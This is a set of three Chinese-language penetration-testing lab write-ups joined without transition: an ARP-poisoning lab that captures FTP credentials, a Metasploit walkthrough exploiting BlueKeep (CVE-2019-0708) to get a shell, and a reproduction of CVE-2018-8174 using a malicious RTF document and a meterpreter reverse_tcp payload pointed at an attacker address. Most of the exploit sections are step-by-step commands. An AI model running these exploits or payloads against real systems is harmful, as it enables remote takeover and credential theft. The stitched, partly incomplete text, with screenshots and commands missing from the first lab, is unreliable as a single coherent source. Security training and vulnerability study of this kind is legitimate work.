实验介绍 PC-A 访问本网络的一台FTP主机，中间人进行ARP投毒，获取PC-A和FTP之间的回话记录，截获用户名和密码。 实验拓扑   实验步骤 Step 1：中间人首先查询路由转发功能是否开启   0代表未开启 1代表开启 中间人开启路由转发功能   Step 2：使用投毒命令进行ARP投毒      Step 3：在中间人开启抓包模式   Step 4：PC A正常登陆FTP   Step 5：抓包结果   用户名：test 密码：123

0x01 2019年9月7日凌晨，msf上更新了0708的漏洞利用程序。顿时安全群和朋友圈就爆炸了-奈何接到HW攻击队任务，又在家过了个中秋，0809才在今天更新。0x02 环境Windows 7 sp1Kaliexp0x02 利用1.一键安装metasploit-frameworkcurl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 2.下载Reference中的攻击套件放置文件到msf的相应文件夹rdp.rb   ->   /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/rdp.rbrdp_scanner.rb   ->   /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/rdp_scanner.rbcve_2019_0708_bluekeep.rb   ->   /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rbcve_2019_0708_bluekeep_rce.rb   ->   /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rbmsf命令：使用msfconsole进入metasploit-framework ，reload_all重新加载0708rdp利用模块使用use exploit/windows/rdp/cve_2019_0708_bluekeep_rce启用0708RDP攻击模块使用set RHOSTS 设置受害机IP使用set RPORT 设置受害机RDP端口号使用set target ID数字(可选为0-4)设置受害机机器架构我使用的是Parallels Desktop,设置target 1使用exploit开始攻击,等待建立连接建立连接以后,使用shell获得shell,再使用python获得交互式shell,执行whoami

0×01前言该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招，最终被黑客植入后门木马完全控制电脑。微软在4月20日早上确认此漏洞，并于5月8号发布了官方安全补丁，对该0day漏洞进行了修复，并将其命名为CVE-2018-8174。0×02漏洞复现在线下载 metasploit 模块到本地git clone https://github.com/0x09AL/CVE-2018-8174-msf.git 将CVE-2018-8174.rb复制到 fileformat 目录/cd CVE-2018-8174-msf/ cp CVE-2018-8174.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/将CVE-2018-8174.rtf复制到 exploits 目录cp CVE-2018-8174.rtf /usr/share/metasploit-framework/data/exploits/启动 metasploituse exploit/windows/fileformat/CVE-2018-8174 set PAYLOAD windows/meterpreter/reverse_tcp set srvhost 192.168.107.128 set lhost 192.168.107.128 exploit1、进入 /root/.msf4/local/目录中的 msf.rtf 文件到目标主机上使用word文档打开cd /root/.msf4/local/ 2、IE浏览器打开 http://192.168.107.128:8080 即可获得会话0×03 感谢支持。